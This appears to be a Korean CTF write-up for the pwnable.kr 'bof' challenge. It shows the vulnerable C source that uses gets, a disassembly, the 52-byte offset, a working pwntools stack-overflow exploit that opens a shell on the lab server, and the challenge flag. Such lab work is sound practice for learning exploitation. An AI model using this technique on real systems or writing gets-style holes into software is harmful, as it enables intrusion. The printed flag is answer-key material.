#include <stdio.h> #include <string.h> #include <stdlib.h> void func(int key){ char overflowme[32]; printf("overflow me : "); gets(overflowme); // smash me! if(key == 0xcafebabe){ system("/bin/sh"); } else{ printf("Nah..\n"); } } int main(int argc, char* argv[]){ func(0xdeadbeef); return 0; }
풀이
gets 함수 = 사용자로부터 입력받을 때 크기가 지정되있지 않아 버퍼플로우 발생하기 취약한 함수
undefined main () PUSH EBP MOV EBP ,ESP AND ESP ,0xfffffff0 SUB ESP ,0x10 MOV dword ptr [ESP ]=>local_20 ,0xdeadbeef CALL func ...
undefined func (undefined4 param_1 ) PUSH EBP MOV EBP ,ESP SUB ESP ,0x48 MOV EAX ,GS:[0x14 ] MOV dword ptr [EBP + local_10 ],EAX XOR EAX ,EAX MOV dword ptr [ESP ]=>local_4c ,s_overflow_me_:_0001 = "overflow me : " CALL <EXTERNAL>::puts int puts(char * __s) LEA EAX =>local_30 ,[EBP + -0x2c ] MOV dword ptr [ESP ]=>local_4c ,EAX CALL <EXTERNAL>::gets char * gets(char * __s) ...
func 함수를 call해서 진입하면 ebp는 main()의 base pointer를 가지게 된다.
overflowme[32] 변수는 ebp로부터 -0x2c(=-44)만큼 떨어져있고,
key는 main() base pointer, func() ret address 위인 +8만큼 떨어져있다.
gets 함수를 통해 overflow에 문자를 입력할 때, key를 덮어써야하므로
overflow에서 key까지 거리를 구하면 52만큼의 거리가 나온다.
from pwn import * context.log_level = 'debug' p = remote("pwnable.kr", 9000) payload = "A" * 52 + '\xbe\xba\xfe\xca' p.sendline(payload) p.interactive();
ubuntu@WSL2:~/CTF/pwnable.kr$ python3 ./bof.py [+] Opening connection to pwnable.kr on port 9000: Done [DEBUG] Sent 0x39 bytes: 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 │AAAA│AAAA│AAAA│AAAA│ * 00000030 41 41 41 41 be ba fe ca 0a │AAAA│····│·│ 00000039 [*] Switching to interactive mode $ ls [DEBUG] Sent 0x3 bytes: b'ls\n' [DEBUG] Received 0x1c bytes: b'bof\n' b'bof.c\n' b'flag\n' b'log\n' b'super.pl\n' bof bof.c flag log super.pl $ cat flag [DEBUG] Sent 0x9 bytes: b'cat flag\n' [DEBUG] Received 0x20 bytes: b'daddy, I just pwned a buFFer :)\n' daddy, I just pwned a buFFer :)